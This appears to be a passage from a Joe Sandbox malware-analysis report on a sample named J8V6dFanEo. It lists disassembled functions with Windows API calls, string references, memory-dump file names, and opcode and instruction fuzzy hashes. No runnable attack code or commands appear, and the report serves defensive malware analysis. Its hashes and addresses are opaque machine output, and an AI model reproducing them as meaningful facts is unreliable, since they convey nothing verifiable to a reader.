CoCreateInstance.OLE32(00F52D7C,00000000,00000001,00F78C1C,?), ref: 00F2D6DD
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00F2D74C
CoTaskMemFree.OLE32(?,?), ref: 00F2D7A4
_memset.LIBCMT ref: 00F2D7E1
SHBrowseForFolderW.SHELL32(?), ref: 00F2D81D
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00F2D840
CoTaskMemFree.OLE32(00000000), ref: 00F2D847
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00F2D87E
CoUninitialize.OLE32(00000001,00000000), ref: 00F2D880

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 117ab387b9941a14ce23f9a82d27d498a4bd10df1736fe5f1a7308e984e5ed60
Instruction ID: f0e88f010674fbc4ae2931749599bb381d5d955b899ead1cb9198dcbcc691ecf
Opcode Fuzzy Hash: 117ab387b9941a14ce23f9a82d27d498a4bd10df1736fe5f1a7308e984e5ed60
Instruction Fuzzy Hash: 8CB12D75A00119AFDB04DFA4D888EAEBBF9FF48314B148069F809EB261DB31ED45DB50

Function 00F1C267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00F1C283
GetWindowRect.USER32(00000000,?), ref: 00F1C295
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00F1C2F3
GetDlgItem.USER32(?,00000002), ref: 00F1C2FE
GetWindowRect.USER32(00000000,?), ref: 00F1C310
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00F1C364
GetDlgItem.USER32(?,000003E9), ref: 00F1C372
GetWindowRect.USER32(00000000,?), ref: 00F1C383
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00F1C3C6
GetDlgItem.USER32(?,000003EA), ref: 00F1C3D4
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00F1C3F1
InvalidateRect.USER32(?,00000000,00000001), ref: 00F1C3FE

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 8a246ceb605e8d1c66e91decce06b54c133770e8aa22350ce74e6208efbffe31
Instruction ID: ea3c0e5a0cb8282c48a53bfcb869516296fab3dd35b60f1041bf65f144fc5c18
Opcode Fuzzy Hash: 8a246ceb605e8d1c66e91decce06b54c133770e8aa22350ce74e6208efbffe31
Instruction Fuzzy Hash: B9518275F00209AFDB08CFA9DD89AAEBBB6FB98310F14812DF919D7290D7709D449B50

Function 00EC201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00EC2036,?,00000000,?,?,?,?,00EC16CB,00000000,?), ref: 00EC1B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00EC20D3
KillTimer.USER32(-00000001,?,?,?,?,00EC16CB,00000000,?,?,00EC1AE2,?,?), ref: 00EC216E
DestroyAcceleratorTable.USER32(00000000), ref: 00EFBCA6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00EC16CB,00000000,?,?,00EC1AE2,?,?), ref: 00EFBCD7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00EC16CB,00000000,?,?,00EC1AE2,?,?), ref: 00EFBCEE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00EC16CB,00000000,?,?,00EC1AE2,?,?), ref: 00EFBD0A
DeleteObject.GDI32(00000000), ref: 00EFBD1C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 7a64f59a6c93f3119f5d453acdb44698af4bc4f1417f212c3f35fc60b2f4460a
Instruction ID: 5bdcb86217add69875fb32f78b3487a04debc94a025e77855b6a4f314c617b6a
Opcode Fuzzy Hash: 7a64f59a6c93f3119f5d453acdb44698af4bc4f1417f212c3f35fc60b2f4460a
Instruction Fuzzy Hash: 9861DF34101A08DFCB359F14CA49B7AB7F1FF4071AF14A52EE642AA570C772A892EF41

Function 00EC21A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00EC25DB: GetWindowLongW.USER32(?,000000EB), ref: 00EC25EC

GetSysColor.USER32(0000000F), ref: 00EC21D3

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 83bb4adb1ed86a0b8f69eb78b67b1fa063dd48199c491e8a97c4c39b3d0e335d
Instruction ID: 907cb86d25c3ca8d6740ced60127dba1e5a3efe119fe6ce38fc3c3ec43bdf8ae
Opcode Fuzzy Hash: 83bb4adb1ed86a0b8f69eb78b67b1fa063dd48199c491e8a97c4c39b3d0e335d
Instruction Fuzzy Hash: 144190351001489BDB299F28EC88FB93B65EB56335F18526DFE65AA1F1C7328C42EB11

Function 00F2A8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00F4F910), ref: 00F2A90B
GetDriveTypeW.KERNEL32(00000061,00F789A0,00000061), ref: 00F2A9D5
_wcscpy.LIBCMT ref: 00F2A9FF

Strings

network, xrefs: 00F2A969
cdrom, xrefs: 00F2A927
fixed, xrefs: 00F2A953
all, xrefs: 00F2A911
removable, xrefs: 00F2A93D
unknown, xrefs: 00F2A996
ramdisk, xrefs: 00F2A97F

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: ba6ee903cd0be304df64d6dbb4cf82f51bb05db89860a6920d2dbdccbf103287
Instruction ID: bfc944df997f2507f711a91bc4cf467b8afeedb435dac97331527216146b496c
Opcode Fuzzy Hash: ba6ee903cd0be304df64d6dbb4cf82f51bb05db89860a6920d2dbdccbf103287
Instruction Fuzzy Hash: FB51EC325083119FC300EF15D992FAFB7E5EF84750F00582DF59A672A2DB31998ADA43

Function 00EC9837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00EC9862
__swprintf.LIBCMT ref: 00EC98AC
__i64tow.LIBCMT ref: 00EFF5E6

Strings

%.15g, xrefs: 00EC98A6
False, xrefs: 00EFF5AE
True, xrefs: 00EFF5A7
0x%p, xrefs: 00EFF5C8

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: d51e3dc56cd4bcaafc5e5daa9f3408b756afbcfa65a5fb4bd83ebd7c866ad14f
Instruction ID: 6967b784a93e28604a05e5502c3fb1d812f7f007b3c4526f70452d6f4289cb0b
Opcode Fuzzy Hash: d51e3dc56cd4bcaafc5e5daa9f3408b756afbcfa65a5fb4bd83ebd7c866ad14f
Instruction Fuzzy Hash: C841F572500209AFEB28DF34DD46F7A73E8EF05304F20546EE649F7282EA329D428B11

Function 00F47152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F4716A
CreateMenu.USER32 ref: 00F47185
SetMenu.USER32(?,00000000), ref: 00F47194
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F47221
IsMenu.USER32(?), ref: 00F47237
CreatePopupMenu.USER32 ref: 00F47241
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00F4726E
DrawMenuBar.USER32 ref: 00F47276

Strings

0, xrefs: 00F47160
F, xrefs: 00F47262

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 066415fbdecbefc50ebd29aa363877b756b3e09ee39b9840eab19d29ee4f1b41
Instruction ID: 2f101c84b6993082cec948e64199a7d578c5687c9fe419fa6f7a9ea1eb56dc4f
Opcode Fuzzy Hash: 066415fbdecbefc50ebd29aa363877b756b3e09ee39b9840eab19d29ee4f1b41
Instruction Fuzzy Hash: 63416778A01209EFDB10EF64D844E9ABBB5FF49310F140529FD09A7360D771AA14EF90

Function 00F474BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00F4755E
CreateCompatibleDC.GDI32(00000000), ref: 00F47565
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00F47578
SelectObject.GDI32(00000000,00000000), ref: 00F47580
GetPixel.GDI32(00000000,00000000,00000000), ref: 00F4758B
DeleteDC.GDI32(00000000), ref: 00F47594
GetWindowLongW.USER32(?,000000EC), ref: 00F4759E
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00F475B2
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00F475BE

Strings

static, xrefs: 00F474F6

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 42d5db94df4378e147acf96cd12ca08711cb4c01315b5914b6c90ef5bf09e212
Instruction ID: 04b7a20a69fe2c2a98c5ce96dde1a24facea3aa976843acd9fc56a2e94505cae
Opcode Fuzzy Hash: 42d5db94df4378e147acf96cd12ca08711cb4c01315b5914b6c90ef5bf09e212
Instruction Fuzzy Hash: CC316C36505218BFDF11AF64DC08FEA3F69EF1A361F150224FE19A61A0C735D815EBA4

Function 00EE6E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00EE6E3E

Part of subcall function 00EE8B28: __getptd_noexit.LIBCMT ref: 00EE8B28

__gmtime64_s.LIBCMT ref: 00EE6ED7
__gmtime64_s.LIBCMT ref: 00EE6F0D
__gmtime64_s.LIBCMT ref: 00EE6F2A
__allrem.LIBCMT ref: 00EE6F80
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00EE6F9C
__allrem.LIBCMT ref: 00EE6FB3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00EE6FD1
__allrem.LIBCMT ref: 00EE6FE8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00EE7006
__invoke_watson.LIBCMT ref: 00EE7077

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction ID: 17cc07d1f4c06d5ad5d9c4b7d84dffa1b2c2d7ecbcc6f4b4fb2b95c5379a37cc
Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction Fuzzy Hash: 5771F576A00B5FABD714AE7ADC41B6AB3E8AF14364F146229F554F72C1E770DE008B90

Function 00F22527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F22542
GetMenuItemInfoW.USER32(00F85890,000000FF,00000000,00000030), ref: 00F225A3
SetMenuItemInfoW.USER32(00F85890,00000004,00000000,00000030), ref: 00F225D9
Sleep.KERNEL32(000001F4), ref: 00F225EB
GetMenuItemCount.USER32(?), ref: 00F2262F
GetMenuItemID.USER32(?,00000000), ref: 00F2264B
GetMenuItemID.USER32(?,-00000001), ref: 00F22675
GetMenuItemID.USER32(?,?), ref: 00F226BA
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00F22700
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F22714
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F22735

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 5cf8ef8eae1b9ba399614624ccd0a97c083c7eba11a2058d1c77d13720d3e702
Instruction ID: 00bf1319c1054de2d47c34f750adec81cea033a3c8a74c7bdbd963ea88386b9b
Opcode Fuzzy Hash: 5cf8ef8eae1b9ba399614624ccd0a97c083c7eba11a2058d1c77d13720d3e702
Instruction Fuzzy Hash: 8561CF7590026DBFDB61CFA4EC88EBE7BB8EB02314F184059F841A7250D735AD05EB21

Function 00F46F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00F46FA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00F46FA8
GetWindowLongW.USER32(?,000000F0), ref: 00F46FCC
_memset.LIBCMT ref: 00F46FDD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00F46FEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00F47067

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 864d07814f9f7c00379cee4b8ac304d7e9c1707cb6e9232f5f5d1529facd6897
Instruction ID: d6c226466871cfd3308cbf9df2d090bfdda3174a2075235113284bbc909ad73f
Opcode Fuzzy Hash: 864d07814f9f7c00379cee4b8ac304d7e9c1707cb6e9232f5f5d1529facd6897
Instruction Fuzzy Hash: 74617B75900248AFDB11DFA8CC81EEE7BF8EB49710F10415AFA14EB2A1D771AD45EB90

Function 00F16B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00F16BBF
SafeArrayAllocData.OLEAUT32(?), ref: 00F16C18
VariantInit.OLEAUT32(?), ref: 00F16C2A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00F16C4A
VariantCopy.OLEAUT32(?,?), ref: 00F16C9D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00F16CB1
VariantClear.OLEAUT32(?), ref: 00F16CC6
SafeArrayDestroyData.OLEAUT32(?), ref: 00F16CD3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00F16CDC
VariantClear.OLEAUT32(?), ref: 00F16CEE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00F16CF9

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: cfea18b9a90d02b7a47f8b412cc477c2f4632ab2758b066aeb2f8c894d8bd04a
Instruction ID: 4fc0357b1d02163cf6e32f4ed5949d9a491dfd572b805eeab076c170f08c94ed
Opcode Fuzzy Hash: cfea18b9a90d02b7a47f8b412cc477c2f4632ab2758b066aeb2f8c894d8bd04a
Instruction Fuzzy Hash: 0F416035A0021D9FCF04DF68D848DEEBBB9EF58351F008069E955E7261CB35A945DB90

Function 00F35732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00F35793
inet_addr.WSOCK32(?,?,?), ref: 00F357D8
gethostbyname.WSOCK32(?), ref: 00F357E4
IcmpCreateFile.IPHLPAPI ref: 00F357F2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00F35862
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00F35878
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00F358ED
WSACleanup.WSOCK32 ref: 00F358F3

Strings

Ping, xrefs: 00F35816

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 659b60cd09780808c85500396257dbaa93e306e562e3f01fe8774734f7cbabf3
Instruction ID: b8ad7ec6f2d3403bc963cac2702e65d5556374cc9fde036e353f02353c6cf7d1
Opcode Fuzzy Hash: 659b60cd09780808c85500396257dbaa93e306e562e3f01fe8774734f7cbabf3
Instruction Fuzzy Hash: 2A516032604600DFD7109F25DD49B6AB7E4EF85B30F044929F95AEB2A1DB70E845EB41

Function 00F2B4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00F2B4D0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00F2B546
GetLastError.KERNEL32 ref: 00F2B550
SetErrorMode.KERNEL32(00000000,READY), ref: 00F2B5BD

Strings

UNKNOWN, xrefs: 00F2B575
NOTREADY, xrefs: 00F2B57C
READONLY, xrefs: 00F2B588
READY, xrefs: 00F2B596
INVALID, xrefs: 00F2B58F

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 126ae1f36cba41e2108a0741d3a1659008acb71c88de22814f41d5e53522a063
Instruction ID: 03b93450ef5e6977e9eadeacf6251230587cf2b702e01f64c6f0439273f25163
Opcode Fuzzy Hash: 126ae1f36cba41e2108a0741d3a1659008acb71c88de22814f41d5e53522a063
Instruction Fuzzy Hash: 7031A235A00219DFCB00DB68D84AFAE77B4FF45310F18806AE905AB295DB719A46EB42

Function 00F18F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

Part of subcall function 00F1AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00F1AABC

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00F19014
GetDlgCtrlID.USER32 ref: 00F1901F
GetParent.USER32 ref: 00F1903B
SendMessageW.USER32(00000000,?,00000111,?), ref: 00F1903E
GetDlgCtrlID.USER32(?), ref: 00F19047
GetParent.USER32(?), ref: 00F19063
SendMessageW.USER32(00000000,?,?,00000111), ref: 00F19066

Strings

ComboBox, xrefs: 00F18F9C
ListBox, xrefs: 00F18FD1

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

